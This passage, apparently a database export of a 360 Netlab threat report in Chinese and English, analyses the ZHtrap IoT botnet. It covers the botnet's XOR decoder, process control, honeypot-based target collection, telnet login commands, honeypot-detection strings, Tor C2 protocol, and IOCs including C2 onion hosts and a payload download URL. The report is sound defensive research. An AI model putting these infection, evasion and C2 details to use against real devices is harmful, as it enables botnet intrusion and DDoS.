被动接收由蜜罐投递的IP\n\n对于第一类IP，随机选择一个exp_port进行探测，IP与exp_port的关系是1对1。\n\n对于第二类IP，对全部的exp_port进行探测，IP与exp_port的关系是1对N，下图中的网络流量很直观的说明了这种情况。\n<img src=\"__GHOST_URL__/content/images/2021/03/zh_exppkg.png\" width=\"860px\" />\n\n### 0x6 C2通信\n\nZHtrap使用Tor C2，因此必须要在代理的帮助下，才能和C2通信。这个过程在前文有过说明，此处就不再赘述 ，下图所示的网络流量说明和C2已成功的建立了连接。\n<img src=\"__GHOST_URL__/content/images/2021/03/zh_torconne.png\" width=\"860px\" />\n\n接着通过以下代码片段向C2发送上线信息：\n\n\n实际中产生的网络流量如下：\n<img src=\"__GHOST_URL__/content/images/2021/03/zh_regpkg.png\" width=\"860px\" />\n\n网络流量又是如何解析呢？ZHtrap的指令包由2个数据包组成，第一个包为header，第二个包为body，其中header的格式为：\n\n```\n//5 bytes ,big endian\nstruct header\n{\n\n\tuint16\tbody_len;\n\tuint8\tcmd_type;\t\t \n\tuint16\tchecksum;\n}\n```\n\n以上面的上线包流量为例，各字段含义如下所示：\n\n```\nheader:\t\n\t00 07 \t\t\t\t-- length of body\n\te5\t\t\t \t\t\t\t-- hardcode,cmd type,\"e5\",\n\t1a fa\t\t \t\t\t\t-- tcp/ip checksum of (\"00 07 e5 00 00\")\nbody:\n\t5a 6f 6e 65 53 65 53\t\t-- body string,\"ZoneSec\" \n```\n\n发送完上线包后Bot开始等待C2下发指令，当指令包的header成功通过校验之后，依据header中第3个字节指定的命令类型，选择相应的处理流程。\n<img src=\"__GHOST_URL__/content/images/2021/03/zh_func.png\" width=\"860px\" />\n\n可以看出目前一共支持5种指令，指令码与功能的对应关系如下表所示：\n\n| Value | Function |\n| ----- | --------------------- |\n| 0x22 | heartbeat |\n| 0x45 | exit |\n| 0x89 | download&exec payload |\n| 0xF5 | reverse shell |\n| 0xFE | DDoS |\n\n以心跳为例，下图中的心跳包网络流程验证了我们的分析。\n<img src=\"__GHOST_URL__/content/images/2021/03/zh_heart.png\" width=\"860px\" />\n\n\n\n## 总结\n在后Mirai时代，我们见识过黑产从业者们或大或小的脑洞，其中ZHtrap将被攻陷设备蜜罐化以收集潜在可被攻击目标的做法，无疑是相当有新意的。扫描是攻击的前置过程，扫描的效率决定了攻击的质量。随机扫描是目前的主流，但它有一个致命的缺点：动静太大，极易被监测。ZHtrap的蜜罐反扫机制略显粗糙，但从单纯的随机扫描到有方向性的捕获这一转变是有非常重要的意义，如果其作者持续对此投入研究，很有可能让攻击行为从安全研究员的雷达消失。\n\n\n\n## 联系我们\n感兴趣的读者，可以在 [**twitter**](https://twitter.com/360Netlab) 或者通过邮件**netlab[at]360.cn**联系我们。\n\n\n## IOC\nSample MD5\n```\n5370e0b9484cb25fb3d5a4b648b5c203\n6c7cfbe0277e2ca0cbe7157cad7c663e\nf1f70dc1274112ae5287ceb06f096d0e\n9dded61f7de47409bc00e74c0a12210e\n7b593fbbd6f81a3e9a2043a46949879d\nba17282481acca9636c5d01f5c2dd069\n```\n\nURL\n```\n0xdeadbeef.tw\nh5vwy6o32sdcsa5xurde35dqw5sf3cdsoeewqqxmhoyzsvar4u6ooead.onion:8080\n```\nC2\n```\noemojwe5loscudytzfo273nkdvalf7mumctwcm42zyutoo6tpfjsphyd.onion:3000\n```\n\nReporter\n```\n107.189.30.190:1282\n107.189.30.190:2231\n```\n\nProxy Ip\n```\n51.178.54.234:9095\n51.79.157.89:9095\n167.114.185.33:9095\n147.135.208.44:9095\n198.245.53.58:9095\n142.93.247.244:9050\n66.70.188.235:9095\n139.99.134.95:9095\n144.217.243.21:9095\n46.101.61.9:9050\n```\n\nDownloader\n```\nx86 arm5 arm6 arm7 mips\nhxxp://107.189.30.190/bins/z.{CPU_ARCH}\noemojwe5loscudytzfo273nkdvalf7mumctwcm42zyutoo6tpfjsphyd.onion:8080/z.{CPU_ARCH}\n```"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 604626bbd0d9b7000712c331 |
post | null | 2021-03-12T05:13:39.000Z | 63873b9a8b1c1e0007f52fae | new_threat_zhtrap_botnet_en | 0 | 2021-03-12T14:09:55.000Z | public | published | null | 2021-03-12T14:09:55.000Z | New Threat: ZHtrap botnet implements honeypot to facilitate finding more victims | <!--kg-card-begin: markdown--><h2 id="overview">Overview</h2>
<p>In the security community, when people talk about honeypot, by default we would assume this is one of the most used toolkits for security researchers to <code>lure the bad guys</code>. But recently we came across a botnet <strong>uses honeypot to harvest other infected devices</strong>, which is quite interesting.<br>
From February 28, 2021, our BotMon system started to see one IP (<code>107.189.30.190</code>) continuously spreading a batch of unknown ELF samples. After analysis, we confirmed that these samples belonged to a new botnet family, we named it <code>ZHtrap</code>, and it has the following characters.</p>
<ul>
<li>ZHtrap's propagation uses 4 Nday vulnerabilities, the main function is DDoS and scanning, while integrating some backdoor features.</li>
<li>Zhtrap sets up honeypot on the infected device.</li>
<li>Zhtrap takes snapshots for the victim devices, and disables the running of new commands based on the snapshot, thus achieving exclusivity over the device.</li>
<li>For C2 communication, ZHtrap takes a cue from the <a href="__GHOST_URL__/matryosh-botnet-is-spreading/"><strong>Matryosh</strong></a> botnet we previous reported, using Tor and cloud-based configuration.</li>
</ul>
<h2 id="zhtrapfullintroduction">ZHtrap Full Introduction</h2>
<p>ZHtrap's code is based on Mirai and supports x86, ARM, MIPS and other major CPU architectures. However, compared to Mirai, ZHtrap has changed a lot, which is reflected in the following aspects.</p>
<ul>
<li>In terms of instructions, a checksum mechanism has been added</li>
<li>In terms of scanning propagation, <code>the distinction between real devices and honeypots has been added</code>.</li>
<li>In terms of encryption algorithm, a set of multiple XOR encryption algorithm has been redesigned.</li>
<li>In terms of host behavior, it can turn the compromised device into a simple honeypot and implement a set of process control mechanisms</li>
<li>In terms of network architecture, it borrows some implementations of our previously exposed Matryosh botnet</li>
</ul>
<p>The basic process is shown in the following diagram.<br>
<img src="__GHOST_URL__/content/images/2021/03/zh_brief.png" width="860px" /><br>
In terms of functionality, in addition to DDoS attacks and scanning, ZHtrap also implements backdoor functionality, which increases the harmfulness of the family. specific functions of ZHtrap include</p>
<ul>
<li>Process control</li>
<li>Reversing Shell</li>
<li>DDoS attacks</li>
<li>Telnet scanning</li>
<li>Exploit propagation</li>
<li>Turn infected devices into honeypot</li>
<li>Download and execute Payload</li>
</ul>
<p>The ZHtrap samples we have captured so far can be divided into 3 versions according to their functions: v1, v2 and v3.</p>
<ul>
<li>v2 is based on v1 with the addition of vulnerability exploitation.</li>
<li>v3 is based on v2 with the deletion of the network infrastructure.</li>
</ul>
<p>Their relationship is shown in the figure below, and the analysis in this paper is based on the most fully functional v2 version.<br>
<img src="__GHOST_URL__/content/images/2021/03/zh_version-2.png" width="860px" /></p>
<p>Compared to other botnets we have analyzed before, the most interesting part of ZHtrap is its ability to <strong>turn infected devices into honeypot</strong>. Honeypots are usually used by security researchers as a tool to capture attacks, such as collecting scans, exploits, and samples. But this time around, we found that ZHtrap uses a similar technique by integrating a scanning IP collection module, and the collected IPs are used as targets in its own scanning module, with the basic process shown below.<br>
<img src="__GHOST_URL__/content/images/2021/03/zh_trap.png" width="860px" /></p>
<p>ZHtrap will listen to 23 designated ports (as shown in the above figure), and if it finds an IP connecting to these ports it will record it as a scanner IP, and all the recorded IPs will be scanned in its own scanningmodule, so that the target addresses used in the ZHtrap scanning process will have 2 sources.</p>
<ul>
<li>Randomly generated IPs.</li>
<li>Scanner IPs captured by the above module.</li>
</ul>
<p>More details on this can be found in the sample analysis section below.</p>
<h2 id="samplereverseanalysis">Sample Reverse Analysis</h2>
<p>Here we pick ZHtrap v2's X86 CPU architecture sample for analysis, with the following basic information.</p>
<blockquote>
<p>MD5：5370e0b9484cb25fb3d5a4b648b5c203<br>
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped<br>
Packer：None</p>
</blockquote>
<p>After ZHtrap successfully infects the device, it creates a single instanceby binding local port, then decrypts the encrypted resource information and renames the process to <code>/bin/ZoneSec</code>, and then prints out the following message in the Console<code>ZH infected your shit, message me on discord to compare assets ($reiko#0095), researchers hmu twitter[.] com/ZoneHax</code>. Next, a network request is made to get the address of the resource server for the scanning & propagation phase. Then listen to 23 pre-de-fined ports to turn the device into a "honeypot", waiting for other compromised devices to hit the port.It uses 4 Nday vulnerability to achieve worm-like propagation. Fi-nally, it communicates with the TOR C2 and waits for the execution of the commands issued by the C2.</p>
<h3 id="0x0encryptionalgorithm">0x0 Encryption algorithm</h3>
<p>ZHtrap uses a relatively rare multiple xor encryption algorithm to hide resource information.<br>
<img src="__GHOST_URL__/content/images/2021/03/zh_xor.png" width="860px" /><br>
The equivalent python implementation is shown below.</p>
<pre><code>xor_key_lst = [0x51, 0x6A, 0x66, 0x6A, 0x78, 0x53, 0x52, 0x44, 0x46, 0x47, 0x53, 0x46, 0x44, 0x64, 0x66] #QjfjxSRDFGSFDdf
xor_key = 0xD00DBAAF
def decode(content):
desc_lst = []
plaintext=""
xor_key_lst_idx = 1
for idx in range(0, len(content)):
desc_lst.append(chr(content[idx] ^ (xor_key % 0xFF) ^ xor_key_lst[xor_key_lst_idx - 1] ^ (xor_key_lst_idx + idx)))
xor_key_lst_idx += 1
if xor_key_lst_idx >= len(xor_key_lst):
xor_key_lst_idx = 0
else:
print("".join(desc_lst))
</code></pre>
<p>Take the following ciphertext as an example</p>
<pre><code>cipher =[
0x42, 0x69, 0x0B, 0x4C, 0x57, 0x76, 0x72, 0x60, 0x6B, 0x79,
0x6A, 0x39, 0x6C, 0x58, 0x55, 0x7B, 0x10, 0x49, 0x5C, 0x41,
0x75, 0x2A, 0x32, 0x43, 0x48, 0x4C, 0x5B, 0x45, 0x61, 0x56,
0x26, 0x6E, 0x68, 0x27, 0x78, 0x5C, 0x11, 0x45, 0x48, 0x4D,
0x4B, 0x54, 0x49, 0x71, 0x22, 0x43, 0x7D, 0x3C, 0x75, 0x69,
0x4E, 0x50, 0x51, 0x42, 0x2A, 0x79, 0x2B, 0x39, 0x17, 0x70,
0x50, 0x6E, 0x4F, 0x49, 0x51, 0x2E, 0x36, 0x2E, 0x28, 0x2F,
0x69, 0x6D, 0x69, 0x42, 0x51, 0x7C, 0x40, 0x5E, 0x02, 0x01,
0x3E, 0x27, 0x37, 0x20, 0x32, 0x13, 0x09, 0x1A, 0x39, 0x57,
0x2A, 0x12, 0x04, 0x63, 0x27, 0x09, 0x14, 0x11, 0x11, 0x07,
0x06, 0x51, 0x1C, 0x36, 0x2B, 0x5C, 0x14, 0x2F, 0x3C, 0x27,
0x27, 0x0D, 0x0C
]
</code></pre>
<p>After decryption, we get the following plaintext, which is exactly the in the Console prompt</p>
<pre><code>ZH infected your shit, message me on discord to compare assets ($reiko#0095), researchers hmu twitter[.]com/ZoneHax
</code></pre>
<p>There are 3 encrypted messages in the current sample, and the decrypted message is shown below, where <code>/proc/</code> and <code>/stat</code> are used in the next section on process control.</p>
<table>
<thead>
<tr>
<th>index</th>
<th>plaintext</th>
</tr>
</thead>
<tbody>
<tr>
<td>2</td>
<td>/stat</td>
</tr>
<tr>
<td>1</td>
<td>/proc/</td>
</tr>
<tr>
<td>0</td>
<td>ZH infected your shit.....</td>
</tr>
</tbody>
</table>
<h3 id="0x1processcontrol">0x1 Process Control</h3>
<p>ZHtrap realizes process control through the whitelist and snapshot mechanism to aceive the exclusivity of the device. A process whose executable path contains the following path is considered a whitelisted process. After ZHtrap is started, it will first obtain the current process list, and then terminate the non-whitelisted processes through kill -9. So it is clear that ZHtrap does not want to destroy the normal operation of the system.</p>
<pre><code>/bin
/sbin
/user/bin
/user/sbin
</code></pre>
<p>Next, a snapshot of the processes is created for the system, after which the newly created processes are compared with the snapshot and those that do not meet the requirements are removed. In this way the whole system remains under ZHtrap's control, and even if the administrator finds a problem with the device, many system management tools are no longer working properly, making maintenance a difficult task.</p>
<h6 id="cleanupnonwhitelistedprocesses">Clean up non-whitelisted processes</h6>
<p>When ZHtrap runs, it iterates through the current processes on the system and reads the value of starttime, item 22 in "/proc/pid/stat". This value is divided by <code>_SC_CLK_TCK</code> to get how long the process was started after the kernel started. The value of _SC_CLK_TCK is usually equal to 100, <code>10000/_SC_CLK_TCK</code> results in 100 seconds.So all processes started after 100 seconds of kernel startup will be checked, and if the process path is not in the whitelist, the process will be killed.<br>
<img src="__GHOST_URL__/content/images/2021/03/zh_procwhite.png" width="860px" /></p>
<h6 id="createasnapshotoftheprocessesandcleanupanynewprocessesthatarentonthemark">Create a snapshot of the processes and clean up any new processes that aren't on the mark.</h6>
<p>After cleaning the non-whitelisted processes, ZHtrap considers the sys-tem to be in a "pure state" and creates a process snapshot for the system first.<br>
<img src="__GHOST_URL__/content/images/2021/03/zh_procsnap.png" width="860px" /><br>
After that, all newly created processes will be compared with the process snapshot, and any processes that do not meet the requirements will be directly killed.<br>
<img src="__GHOST_URL__/content/images/2021/03/zh_proctest.png" /></p>
<h2 id="0x2getresourceserver">0x2 Get resource server</h2>
<p>ZHtrap uses the following code snippet to get the address of the resource server (ResServ), this process can be divided into two steps, thefirst step is to establish communication with the Tor domain, the sec-ond step sends "GET /sfkjdkfdj.txt" request.<br>
<img src="__GHOST_URL__/content/images/2021/03/zh_rescode.png" width="860px" /></p>
<h6 id="establishcommunicationwiththetordomain">Establish communication with the Tor domain</h6>
<p>ZHtrap takes a cue from the Matryosh botnet, first requesting a DNS TXT record from the remote host <code>0xdeadbeef.tw</code> to get the list of Tor proxies in the figure below.<br>
<img src="__GHOST_URL__/content/images/2021/03/zh_torproxy.png" width="860px" /><br>
It will pick one proxy and send <code>domain:port</code>, if the proxy returns<code>05 00 00 01 00 00 00 00 00 00 00</code>, that means the communication has been successfully established. Then send a subsequent GET request to get the resource server address (107.189.30.190), and the network traffic in the following figure clearly reflects this process.<br>
<img src="__GHOST_URL__/content/images/2021/03/zh_respkg.png" width="860px" /></p>
<h6 id="theroleofresourceserver">The role of Resource server</h6>
<img src="__GHOST_URL__/content/images/2021/03/zh_respopu.png" width="860px" />
As can be seen by the IDA cross-reference in the above figure, the ResServ has two functions.
<ul>
<li>Acting as Reporter Server, providing information upload service for the Telnet scanning process</li>
<li>Acting as Downloader Server, to provide sample download services for the process of vulnerability propagation</li>
</ul>
<h2 id="0x3honeypot">0x3 Honeypot</h2>
<p>ZHtrap first creates two pipes for information transfer, and then implements a simple honeypot listening on the following 23 ports<br>
<img src="__GHOST_URL__/content/images/2021/03/zh_honcode.png" width="860px" /><br>
The actual effect is as follows.</p>
<img src="__GHOST_URL__/content/images/2021/03/zh_honshow.png" width="860px" />
When these ports of the device are accessed, ZHtrap passes the IP address of the visitor through the pipe for its own telnet scanning & vul-nerability scanning module to use.
<h6 id="whydoesitdothis">Why does it do this?</h6>
<p>We speculate that ZHtrap's authors had this in mind.</p>
<blockquote>
<p>Many botnets implement worm-like scan propagation, and when ZHtrap's honeypot port is accessed, its source is most likely a device that has been infected by another botnet. This device can be infected, there must be flaws, I can use my scanning mechanism to scan again.This could be a good chance that I can implant my bot samples, and then with the process control function, I can have total control, is’t that <strong>awesome</strong>?</p>
</blockquote>
<h2 id="0x4telnetscan">0x4 Telnet scan</h2>
<p>ZHtrap uses Telnet scanning to collect devices that use weak passwords. The sources of the scanned objects are of the following 2 types.</p>
<ul>
<li>Randomly generated IPs</li>
<li>Passively received IPs delivered by the above mentioned honeypot</li>
</ul>
<p>And these two group of IPs get to treat differently.</p>
<p>For <code>category 1</code> IPs, SYN port probing is used.<br>
<img src="__GHOST_URL__/content/images/2021/03/zh_tela.png" width="860px" /><br>
For <code>category 2</code> IPs, use the <code>connect</code> function directly.<br>
<img src="__GHOST_URL__/content/images/2021/03/zh_telb.png" width="860px" /><br>
When the target's port 23 is found to be open, try to log in using the hardcoded credentials list, and pass the following code back to the resource server for the IP, port, account, password, etc. that can successfully log in.<br>
<img src="__GHOST_URL__/content/images/2021/03/zh_telrep.png" width="860px" /><br>
During the login attempt, ZHtrap will ask the scanned device to execute the following command:</p>
<pre><code>enable
linuxshell
system
bash
ls /home
ps aux
/bin/busybox ZONESEC
</code></pre>
<p>The device type is then determined based on the returned information,and the device will be regarded as a honeypot when it contains the following string.</p>
<table>
<thead>
<tr>
<th>string</th>
<th>honeypot</th>
</tr>
</thead>
<tbody>
<tr>
<td>Jun22</td>
<td><a href="https://github.com/cowrie/cowrie">cowrie</a></td>
</tr>
<tr>
<td>Jun23</td>
<td>cowrie</td>
</tr>
<tr>
<td>phil</td>
<td>cowrie</td>
</tr>
<tr>
<td>sshd:</td>
<td>cowrie</td>
</tr>
<tr>
<td>richard</td>
<td>cowrie</td>
</tr>
<tr>
<td>@LocalHost:]</td>
<td>cowrie</td>
</tr>
<tr>
<td>Welcome to EmbyLinux 3.13.0-24-generic</td>
<td><a href="https://github.com/Phype/telnet-iot-honeypot">telnet-iot-honeypot</a></td>
</tr>
<tr>
<td>If it is a honeypot, the device information will be reported to the resource server via port 2231.</td>
<td></td>
</tr>
<tr>
<td><img src="__GHOST_URL__/content/images/2021/03/zh_telrpa.png" alt="zh_ddos" loading="lazy"></td>
<td></td>
</tr>
</tbody>
</table>
<p>If it is a real device, the device information will be reported to the resource server on port 1282<br>
<img src="__GHOST_URL__/content/images/2021/03/zh_telrpb.png" alt="zh_ddos" loading="lazy"></p>
<h2 id="0x5vulnerabilityscanningpropagation">0x5 Vulnerability scanning & propagation</h2>
<p>ZHtrap uses the following 4 samples of Nday vulnerability propagation</p>
<ul>
<li><a href="https://www.exploit-db.com/exploits/41471/">JAWS_DVR_RCE</a></li>
<li><a href="https://www.exploit-db.com/exploits/43055">NETGEAR</a></li>
<li><a href="https://www.exploit-db.com/exploits/39596/">CCTV_DVR_RCE</a></li>
<li><a href="https://www.exploit-db.com/exploits/37169/">CVE-2014-8361</a></li>
</ul>
<p>First construct a SYN packet to probe whether the device's port is open, and the list of supported ports (exp_port) is shown below</p>
<table>
<thead>
<tr>
<th>80</th>
<th>8080</th>
<th>8081</th>
<th>8083</th>
<th>5500</th>
</tr>
</thead>
<tbody>
<tr>
<td>60001</td>
<td>52869</td>
<td>8089</td>
<td>8090</td>
<td>8000</td>
</tr>
<tr>
<td>81</td>
<td>82</td>
<td>83</td>
<td>84</td>
<td>85</td>
</tr>
<tr>
<td>8888</td>
<td>8181</td>
<td>8443</td>
<td>5555</td>
<td></td>
</tr>
<tr>
<td>Then a "GET /" request is sent to obtain information about the service running on the port.</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td><img src="__GHOST_URL__/content/images/2021/03/zh_expreq.png" width="860px" /></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>The following code snippet is then used to determine whether the banner information returned by the service is the target device.</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td><img src="__GHOST_URL__/content/images/2021/03/zh_expresp.png" width="860px" /></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
<p>Finally, according to the banner information, select the corresponding vulnerability, and ResServ to assemble a valid payload to try to implant.<br>
<img src="__GHOST_URL__/content/images/2021/03/zh_expsend.png" width="860px" /></p>
<p>As with the telnet scanning process, the sources of the scanned objectsare of the following two types.</p>
<ul>
<li>Active randomly generated IP</li>
<li>Passively receive IPs delivered by the honeypot</li>
</ul>
<p>For the first category of IPs, an exp_port is randomly selected for probing, and the relationship between IPs and exp_ports is 1 to 1.<br>
For the second category of IPs, all exp_ports are probed, and the relationship between IPs and exp_ports is 1 to N. The network traffic in the following figure illustrates this situation visually.<br>
<img src="__GHOST_URL__/content/images/2021/03/zh_exppkg.png" width="860px" /></p>
<h2 id="0x6c2communication">0x6 C2 communication</h2>
<p>ZHtrap uses Tor C2 and therefore has to communicate with C2 with the help of a proxy. This process is described in section above and will not be repeated here. The network traffic shown in the figure below indicates that the connection with C2 has been successfully established.<br>
<img src="__GHOST_URL__/content/images/2021/03/zh_torconne.png" width="860px" /><br>
Next, the following code snippet is used to send a registration message to C2<br>
<img src="__GHOST_URL__/content/images/2021/03/zh_reg.png" alt="zh_ddos" loading="lazy"><br>
The actual network traffic generated is as follows.<br>
<img src="__GHOST_URL__/content/images/2021/03/zh_regpkg.png" width="860px" /></p>
<p>The command packet of ZHtrap consists of two packets, the first packet is the header and the second packet is the body, where the format of the header is</p>
<pre><code>//5 bytes ,big endian
struct header
{
uint16 body_len;
uint8 cmd_type;
uint16 checksum;
}
</code></pre>
<p>Take the above registration packet traffic as an example, the meaning of each field is as follows.</p>
<pre><code>header:
00 07 -- length of body
e5 -- hardcode,cmd type,"e5",
1a fa -- tcp/ip checksum of ("00 07 e5 00 00")
body:
5a 6f 6e 65 53 65 53 -- body string,"ZoneSec"
</code></pre>
<p>After sending the registration packet, bot starts to wait for C2 to send the command, and when the header of the command packet successfully passes the check, it selects the corresponding processing flow based on the command type specified by the third byte in the header.<br>
<img src="__GHOST_URL__/content/images/2021/03/zh_func.png" width="860px" /><br>
It can be seen that a total of five kinds of commands are supported at present, and the correspondence between command codes and functions is shown in the following table.</p>
<table>
<thead>
<tr>
<th>Value</th>
<th>Function</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x22</td>
<td>heartbeat</td>
</tr>
<tr>
<td>0x45</td>
<td>exit</td>
</tr>
<tr>
<td>0x89</td>
<td>download&exec payload</td>
</tr>
<tr>
<td>0xF5</td>
<td>reverse shell</td>
</tr>
<tr>
<td>0xFE</td>
<td>DDoS</td>
</tr>
<tr>
<td>Taking heartbeat as an example, the heartbeat packet network flow in the following figure verifies our analysis.</td>
<td></td>
</tr>
<tr>
<td><img src="__GHOST_URL__/content/images/2021/03/zh_heart.png" width="860px" /></td>
<td></td>
</tr>
</tbody>
</table>
<h2 id="contactus">Contact us</h2>
<p>Readers are always welcomed to reach us on <a href="https://twitter.com/360Netlab">twitter</a>, or email to netlabat 360dot cn.</p>
<h2 id="ioc">IOC</h2>
<p>Sample MD5</p>
<pre><code>5370e0b9484cb25fb3d5a4b648b5c203
6c7cfbe0277e2ca0cbe7157cad7c663e
f1f70dc1274112ae5287ceb06f096d0e
9dded61f7de47409bc00e74c0a12210e
7b593fbbd6f81a3e9a2043a46949879d
ba17282481acca9636c5d01f5c2dd069
</code></pre>
<p>URL</p>
<pre><code>0xdeadbeef.tw
h5vwy6o32sdcsa5xurde35dqw5sf3cdsoeewqqxmhoyzsvar4u6ooead.onion:8080
</code></pre>
<p>C2</p>
<pre><code>oemojwe5loscudytzfo273nkdvalf7mumctwcm42zyutoo6tpfjsphyd.onion:3000
</code></pre>
<p>Reporter</p>
<pre><code>107.189.30.190:1282
107.189.30.190:2231
</code></pre>
<p>Proxy Ip</p>
<pre><code>51.178.54.234:9095
51.79.157.89:9095
167.114.185.33:9095
147.135.208.44:9095
198.245.53.58:9095
142.93.247.244:9050
66.70.188.235:9095
139.99.134.95:9095
144.217.243.21:9095
46.101.61.9:9050
</code></pre>
<p>Downloader</p>
<pre><code>x86 arm5 arm6 arm7 mips
hxxp://107.189.30.190/bins/z.{CPU_ARCH}
oemojwe5loscudytzfo273nkdvalf7mumctwcm42zyutoo6tpfjsphyd.onion:8080/z.{CPU_ARCH}
</code></pre>
<!--kg-card-end: markdown--> | Overview
In the security community, when people talk about honeypot, by default we would assume this is one of the most used toolkits for security researchers to lure the bad guys. But recently we came across a botnet uses honeypot to harvest other infected devices, which is quite interesting.
From February 28, 2021, our BotMon system started to see one IP (107.189.30.190) continuously spreading a batch of unknown ELF samples. After analysis, we confirmed that these samples belonged to a new botnet family, we named it ZHtrap, and it has the following characters.
* ZHtrap's propagation uses 4 Nday vulnerabilities, the main function is DDoS and scanning, while integrating some backdoor features.
* Zhtrap sets up honeypot on the infected device.
* Zhtrap takes snapshots for the victim devices, and disables the running of new commands based on the snapshot, thus achieving exclusivity over the device.
* For C2 communication, ZHtrap takes a cue from the Matryosh botnet we previous reported, using Tor and cloud-based configuration.
ZHtrap Full Introduction
ZHtrap's code is based on Mirai and supports x86, ARM, MIPS and other major CPU architectures. However, compared to Mirai, ZHtrap has changed a lot, which is reflected in the following aspects.
* In terms of instructions, a checksum mechanism has been added
* In terms of scanning propagation, the distinction between real devices and honeypots has been added.
* In terms of encryption algorithm, a set of multiple XOR encryption algorithm has been redesigned.
* In terms of host behavior, it can turn the compromised device into a simple honeypot and implement a set of process control mechanisms
* In terms of network architecture, it borrows some implementations of our previously exposed Matryosh botnet
The basic process is shown in the following diagram.
In terms of functionality, in addition to DDoS attacks and scanning, ZHtrap also implements backdoor functionality, which increases the harmfulness of the family. specific functions of ZHtrap include
* Process control
* Reversing Shell
* DDoS attacks
* Telnet scanning
* Exploit propagation
* Turn infected devices into honeypot
* Download and execute Payload
The ZHtrap samples we have captured so far can be divided into 3 versions according to their functions: v1, v2 and v3.
* v2 is based on v1 with the addition of vulnerability exploitation.
* v3 is based on v2 with the deletion of the network infrastructure.
Their relationship is shown in the figure below, and the analysis in this paper is based on the most fully functional v2 version.
Compared to other botnets we have analyzed before, the most interesting part of ZHtrap is its ability to turn infected devices into honeypot. Honeypots are usually used by security researchers as a tool to capture attacks, such as collecting scans, exploits, and samples. But this time around, we found that ZHtrap uses a similar technique by integrating a scanning IP collection module, and the collected IPs are used as targets in its own scanning module, with the basic process shown below.
ZHtrap will listen to 23 designated ports (as shown in the above figure), and if it finds an IP connecting to these ports it will record it as a scanner IP, and all the recorded IPs will be scanned in its own scanningmodule, so that the target addresses used in the ZHtrap scanning process will have 2 sources.
* Randomly generated IPs.
* Scanner IPs captured by the above module.
More details on this can be found in the sample analysis section below.
Sample Reverse Analysis
Here we pick ZHtrap v2's X86 CPU architecture sample for analysis, with the following basic information.
MD5：5370e0b9484cb25fb3d5a4b648b5c203
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped
Packer：None
After ZHtrap successfully infects the device, it creates a single instanceby binding local port, then decrypts the encrypted resource information and renames the process to /bin/ZoneSec, and then prints out the following message in the ConsoleZH infected your shit, message me on discord to compare assets ($reiko#0095), researchers hmu twitter[.] com/ZoneHax. Next, a network request is made to get the address of the resource server for the scanning & propagation phase. Then listen to 23 pre-de-fined ports to turn the device into a "honeypot", waiting for other compromised devices to hit the port.It uses 4 Nday vulnerability to achieve worm-like propagation. Fi-nally, it communicates with the TOR C2 and waits for the execution of the commands issued by the C2.
0x0 Encryption algorithm
ZHtrap uses a relatively rare multiple xor encryption algorithm to hide resource information.
The equivalent python implementation is shown below.
xor_key_lst = [0x51, 0x6A, 0x66, 0x6A, 0x78, 0x53, 0x52, 0x44, 0x46, 0x47, 0x53, 0x46, 0x44, 0x64, 0x66] #QjfjxSRDFGSFDdf
xor_key = 0xD00DBAAF
def decode(content):
desc_lst = []
plaintext=""
xor_key_lst_idx = 1
for idx in range(0, len(content)):
desc_lst.append(chr(content[idx] ^ (xor_key % 0xFF) ^ xor_key_lst[xor_key_lst_idx - 1] ^ (xor_key_lst_idx + idx)))
xor_key_lst_idx += 1
if xor_key_lst_idx >= len(xor_key_lst):
xor_key_lst_idx = 0
else:
print("".join(desc_lst))
Take the following ciphertext as an example
cipher =[
0x42, 0x69, 0x0B, 0x4C, 0x57, 0x76, 0x72, 0x60, 0x6B, 0x79,
0x6A, 0x39, 0x6C, 0x58, 0x55, 0x7B, 0x10, 0x49, 0x5C, 0x41,
0x75, 0x2A, 0x32, 0x43, 0x48, 0x4C, 0x5B, 0x45, 0x61, 0x56,
0x26, 0x6E, 0x68, 0x27, 0x78, 0x5C, 0x11, 0x45, 0x48, 0x4D,
0x4B, 0x54, 0x49, 0x71, 0x22, 0x43, 0x7D, 0x3C, 0x75, 0x69,
0x4E, 0x50, 0x51, 0x42, 0x2A, 0x79, 0x2B, 0x39, 0x17, 0x70,
0x50, 0x6E, 0x4F, 0x49, 0x51, 0x2E, 0x36, 0x2E, 0x28, 0x2F,
0x69, 0x6D, 0x69, 0x42, 0x51, 0x7C, 0x40, 0x5E, 0x02, 0x01,
0x3E, 0x27, 0x37, 0x20, 0x32, 0x13, 0x09, 0x1A, 0x39, 0x57,
0x2A, 0x12, 0x04, 0x63, 0x27, 0x09, 0x14, 0x11, 0x11, 0x07,
0x06, 0x51, 0x1C, 0x36, 0x2B, 0x5C, 0x14, 0x2F, 0x3C, 0x27,
0x27, 0x0D, 0x0C
]
After decryption, we get the following plaintext, which is exactly the in the Console prompt
ZH infected your shit, message me on discord to compare assets ($reiko#0095), researchers hmu twitter[.]com/ZoneHax
There are 3 encrypted messages in the current sample, and the decrypted message is shown below, where /proc/ and /stat are used in the next section on process control.
index
plaintext
2
/stat
1
/proc/
0
ZH infected your shit.....
0x1 Process Control
ZHtrap realizes process control through the whitelist and snapshot mechanism to aceive the exclusivity of the device. A process whose executable path contains the following path is considered a whitelisted process. After ZHtrap is started, it will first obtain the current process list, and then terminate the non-whitelisted processes through kill -9. So it is clear that ZHtrap does not want to destroy the normal operation of the system.
/bin
/sbin
/user/bin
/user/sbin
Next, a snapshot of the processes is created for the system, after which the newly created processes are compared with the snapshot and those that do not meet the requirements are removed. In this way the whole system remains under ZHtrap's control, and even if the administrator finds a problem with the device, many system management tools are no longer working properly, making maintenance a difficult task.
Clean up non-whitelisted processes
When ZHtrap runs, it iterates through the current processes on the system and reads the value of starttime, item 22 in "/proc/pid/stat". This value is divided by _SC_CLK_TCK to get how long the process was started after the kernel started. The value of _SC_CLK_TCK is usually equal to 100, 10000/_SC_CLK_TCK results in 100 seconds.So all processes started after 100 seconds of kernel startup will be checked, and if the process path is not in the whitelist, the process will be killed.
Create a snapshot of the processes and clean up any new processes that aren't on the mark.
After cleaning the non-whitelisted processes, ZHtrap considers the sys-tem to be in a "pure state" and creates a process snapshot for the system first.
